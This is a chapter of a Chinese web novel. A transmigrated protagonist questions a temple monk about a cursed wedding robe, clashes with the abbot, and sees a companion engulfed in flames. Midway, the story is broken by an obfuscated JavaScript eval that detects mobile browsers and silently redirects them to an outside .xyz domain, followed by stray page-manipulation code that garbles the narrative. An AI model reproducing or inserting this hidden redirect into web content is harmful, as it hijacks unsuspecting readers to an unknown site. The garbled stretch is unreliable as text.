“笨!”大和尚在他脑袋上敲了一记,“僧房不许外人入内,我们拿去一问,她来过的事儿不就暴露了?” 小和尚骇道:“那该怎么办?” 大和尚喜滋滋地道:“采姝宴还没开始,我看她可能还在这里。走,我们去找找看!” 他便拎着蝴蝶簪一个个僧房瞧过去,看里面有没有躲了人。 一路走下来,巳时已过。小和尚敲着背道:“师兄,采姝宴都开始了,她早就已经走了吧?” 大和尚本就找得心浮气躁,听他这话觉得扫兴,挥手斥道:“去去去,也许她刚好迷路了呢?你自己犯了懒病,还推给别人!师父教的拾金不昧的道理你都忘了?” 小和尚苦着脸道:“没忘……可是我们都找遍了,除了明澈师叔那里还没看过,其他的房里不都没人吗?” “对!说不定就在他那!”大和尚敲掌道,“不然怎么平常都不见人来,偏偏他一关禁闭,路上就凭空掉了一根金簪?” 小和尚吓得连连摆手:“要去你自己去,我可不敢!住持知道了肯定要骂的……” “去就去!他自己做了亏心事,还怕被人捉住不成?”大和尚说走就走,穿过一片竹林,拐到一间格外清幽的僧舍前敲门道,“明澈师叔,你在吗?” 这和尚趁着刚才没人,偷摸着把金簪闻了又闻,别在了耳朵上——他没有头发,只能退而求其次了。 沈轻随被一路颠簸过来,又让他头上的味道熏得脑瓜子嗡嗡,好在功夫不负忍者神龟,他终于顺利地找到了这位“明澈师叔”。 明澈和尚沈轻随是知道的,就是原剧情里被男主顺手收的小弟。 此人心眼又粗又直,简称一个傻字,却奇迹般地被玄德老住持寄予厚望。不仅小小年纪就将他收为关门弟子,还隐隐约约有要他继位的意思。 这种“德不配位”的黑马,毫无疑问会成为其他人百般嫉妒的对象,男主对此深有共鸣,所以两人理所当然地成为了知心上下级。 男主帮明澈扫平玄德寺内的障碍,登上住持之位,明澈就担任男主在东南一带的眼线,帮其巩固势力——被男主收编后他工具人的智商也与日俱增,合作可谓是非常愉快。 沈轻随猜测,现在还没有开蒙的明澈估计是叫谁给摆了一道,所以才被关了禁闭,而且自己这根蝴蝶簪很有可能就是他的下一条罪名。 门吱呀一声开了,一个眉目柔和的白衣僧人站在里面。他正要开口询问,却见大和尚突然两眼一白,倒在了地上。 蝴蝶金簪摇身一变,成了一个面如冠玉的蓝衣道人,星子一般的眼睛朝他眨了两眨:“明澈禅师,你好啊?” 20.永寿旧故 明澈看得一愣:“你把他怎么了?” “没死,”沈轻随自来熟地跨进房门,“这人聒噪得很,叫他睡上一会儿而已。” 看了一圈,发现这苦行僧房里不要说躺椅了,居然连个坐榻都没有,他又还不至于没素质到上来就踩人家床,只能就地打了个滚躺了,道:“你为什么被关禁闭?” 明澈正把倒在门外的大和尚拖进房来,言简意赅道:“受罚。” 要说明澈这个人,明没怎么看出来,愚蠢清澈倒是贴在脑门了,见沈轻随一个陌生人大喇喇闯进来,居然一点戒心也没有,甚至看他躺在地上,还贴心地递过来一个蒲团。 沈轻随把蒲团往屁股底下一塞,抖着二郎腿道:“你拉他干嘛?你不知道,他刚才说你坏话。” “我知道。” “啊?”沈轻随一时没反应过来。 明澈把大和尚搬到床上,细心地盖了被子:“师侄们不喜欢我,我都知道。” “你知道还对他这么好?”沈轻随猛地坐起,“你受虐狂啊?” 明澈顿了一下,道:“没关系的。” 沈轻随:“……” 就算智商还没进化,也不至于开局负数吧? 沈轻随心想这种人你跟他绕圈子他可能反而弄不明白,便开门见山道:“你知道永寿衣吗,它在哪?” 明澈背对着他,默了一会儿道:“我不知道。” 啧,骗鬼呀,原剧情里就是你小子拿着呢! 沈轻随跳到他面前坐了,一把抢过他的木鱼棍道:“少忽悠我,你肯定知道。” 木鱼被夺,明澈闭上眼睛,转去拨弄佛珠。任他风雨惊涛,我自岿然不动。 沈轻随等了一会儿,不耐烦了,装模作样地掐住他喉咙威胁道:“你说不说?” 命脉被人卡在手里,明澈终于睁开眼睛:“你找永寿衣做什么?” “当然是借来看看——”沈轻随臭不要脸地笑道,“不要以为我不知道,你们庙里藏了这样的宝贝!” 明澈神色复杂地看了他两眼,突然道:“你是林姑娘的表兄吗?” 林姑娘?就是去年撞死的那个女菩萨?沈轻随心里模模糊糊有了一个猜测。 他角色进入飞快,呵呵道:“正是!可怜我那枉死的妹妹,你这和尚还有什么话说?还不快从实招来!” “永寿衣之事绝无外传可能,想来也只能是她说与你听的了。” 明澈叹了口气:“永寿衣其实是一件血衣。 “但在成为血衣之前,它是一件嫁衣。” “嫁给和尚?”沈轻随脱口而出。 明澈沉沉地点了点头。 嫁娘的名字叫作谭清。 那年她刚过十七,嫁给了同镇上青梅竹马的表哥吴真,两人成婚后相敬如宾,琴瑟和鸣。谁知一年不到,吴真突然受了高僧指引,要抛下妻子,去玄德寺落发为僧。 彼时谭清已有身孕。 当她一个人顶着克夫的骂名挨过数月冷眼,即将临盆之时,吴真却又回来了。 吴真不再是吴真,他现在是玄德寺的监寺“悟贞禅师”,此番是特地回乡来带她离开的。 沈轻随冷笑道:“悟贞就是现在的住持吧,他把谭清带走干什么?要真那么一往情深,还当什么和尚?两边都对不起,真是让人恶心!” 明澈沉默了一会儿,道:“住持正是想要两边都对得起。” 自悟贞来到玄德起,他在佛法上的领悟能力就远超于旁人,用方丈的话来说,他是天生一条慧根。 是以当他不管怎么努力,都无法参破梦中那条偈语时,便日夜为其所扰,寝食难安,几乎已经到了生出心魔的地步。 悟贞终于下定决心,要彻底斩断自己在俗世所有的因缘,要用一次破戒,来圆满一世的修行。 谭清被他接到云溪城中的一座宅子,高兴坏了,挺着十月怀胎的肚子,步履蹒跚地把小院看了又看,一会儿说“这里要扎个秋千架”,一会儿说“那里要搭个葫芦棚”。 悟贞下不去手。 很快,孩子出生了。 那么小的一团,哭着缩在他怀里,谭清脱了力躺在床上,要他抱给她看。 那一瞬仿佛有清风过境,旋绕在悟贞心头的那片迷雾轰地散开,登时一片澄明——或许他一直都想错了,俗世和修行并非不能得兼。 七难八苦,十二因缘,如果从未领悟,那又如何勘破? 悟贞动了还俗的念头。 他要与谭清相携一生,让他们的孩子继承他的衣钵,和他一起探索无穷无边的佛理智慧。 “品悟大千,澄心明智。你以后就叫做悟澄。”悟贞就这样沉在自己的思绪里自言自语着,全神贯注,身心如一。 待他从无边智慧中醒过来时,谭清却早已经没了呼吸。 沈轻随啪地把手里的木鱼摔了出去:“所以他就给老婆塑了个像,拜成什么女菩萨?我真是服了,你们到底是一帮什么妖怪???” “不完全是因为这个。”明澈把他丢出去的木鱼捡回来擦了擦,“一开始的时候,住持其实是想让谭清姑娘入土为安的。” 沈轻随挑眉。 明澈道:“谭清姑娘最喜欢的就是成亲时亲手绣的那件嫁衣,住持便在临下葬时找出来,帮她换上了,又为她涂粉抹脂,祈福诵经。” 沈轻随呕了一声:“惺惺作态!” 明澈舔舔嘴唇,继续道:“可住持没想到的是,那件嫁衣以前浸了太多谭姑娘的眼泪,已经生了魂识,现在又被经咒一激,当场就吸干了谭姑娘的血肉,化成了一件怨念极重的血衣。” “那怎么还没把你们住持杀了?”沈轻随冷笑,“看来还是不够凶啊。” 明澈摇摇头:“很凶。住持拼尽全力才将它制住,如今也是靠着女菩萨的香火,才勉强得以镇压。” 咔哒一声,沈轻随脑子里两条原本不相干的线,好像突然之间串了起来。 原来谭清就是六十年前横空出世的第一位“女菩萨”,也就是如今供在慈姝殿正中的那座金像! 所以玄德寺选女菩萨并不只是生孩子那么简单,而是为了借香火去压制一件藏了几十年的凶物,用一群女人的命,去填一个女人的怨! 好一招祸水东引! 沈轻随觉得这个世界简直是太可怕了,抓住明澈的衣领问道:“那撞死的林姑娘是知道这些了?” 明澈被他拎着也不挣扎,垂着眼道:“我们想结束这一切。” “所以你就让她用自己的血去唤醒永寿衣?只要被人发现,以后就不会再选女菩萨了?”沈轻随丢开他,冷声道,“你们住持这么厉害,没人来选怕什么,不是还可以上门去抢吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15272498|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明澈道:“你要是有本事把永寿衣带走,说不定就……” “带走什么?” 一个苍老的声音自远及近飞掠而来,不过瞬息,门轰地大开。 几个黄袍僧人站在门口,眼神不善,为首那人眉深目邃,正是住持悟贞。他朝明澈招了招手:“过来。” 明澈看了一眼沈轻随,犹豫着没动。 悟贞佛杖轻轻一点,明澈顿时如风筝断线,不受控制地往外扑去,沈轻随眼疾手快,抓住他一根脚趾硬生生给拽了回来。 他把明澈往床上一甩,气势汹汹地跳出门去——这回他有东方尧撑腰,可不像上次那样好拿捏了! 大敌当前,最忌露怯,沈轻随义正辞严地道:“堂堂东南第一寺,居然做出这种见不得人的勾当,当真是令人作呕!” 悟贞张开眼睛:“哦……你知道了什么?”上前两步,问道:“明澈都告诉了你什么?” “他……他跟我说……”沈轻随竟情不自禁地想要回答,反应过来后猛地在手上掐了一把,怒道,“说你们残害无辜,不配念佛!” 悟贞嗬嗬笑道:“纵是如此,你又待如何?” 沈轻随震惊于他的不要脸:“当然是昭告天下,讨伐你们!” “无凭无据,有谁信呢?”悟贞手一挥,“拿下。” 几个和尚应声扑来,沈轻随点地而起,给他们一人脸上甩了一张划水符。 只见那些和尚扑到一半,生生在空中刹住了,都作出鸭子扑水的模样来,紧接着扑通一声摔在地上,砸出了几个人形大坑,怎么也爬不起来。 沈轻随手上抄着一把花花绿绿的符咒,冲悟贞笑道:“你也来试试?” 悟贞眉目一凛,正要攻上,却见一条金灿灿的丝带破空而来,把沈轻随从头到脚给捆了个结实,连嘴巴也没放过,塞了一个漂亮的小花球。 东方尧携着两个小童飘然而落,懒洋洋地笑道:“哪来一个这么笨的歹徒呀。” 歹徒沈轻随:“……” 悟贞眉头皱起:“毓华君不在中庭歇坐,来我寺僧房作甚。” “哦!”东方尧如梦初醒一般,“慈姝殿不知为何起火了呢,我来找您回去主持大局呀。” “起火?”悟贞脸色一变。 “哎,是啊。”东方尧无辜地点了点头。 悟贞见沈轻随口舌已封,一时也不怕他胡言乱语,便不多做纠缠,拎起地上那几个和尚就往慈姝殿奔去。 东方尧冷笑一声,紧随其后。 和尚一走,沈轻随就把嘴里的花球嚼吧嚼吧当糖豆吃了,远远看见慈姝殿上空彤红一片,笑道:“师妹干得漂亮,快放我下去,他们这殿里藏了东西!” 慈姝殿前人仰马翻,看热闹的人群早已慌乱散了,十二位仙姝也都各自离开,庭中唯余数十名和尚往来奔走,提水去泼着起的火焰。 东方尧收了捆他的丝带,道:“什么东西!” 沈轻随周身束缚一松,原地扭了一圈舒了舒筋骨,笑道:“你绑得也太实诚了,勒死我啦。是一件……” 话音猛然刹住——东方尧并不是在问殿里的东西,而是在问庭院中央那个,正被许多黄袍和尚围着的浴火之人。 沈轻随的瞳孔瞬间缩成了一个小点。 火里那人,就是烧成灰他也不会认错—— 谢负尘!!!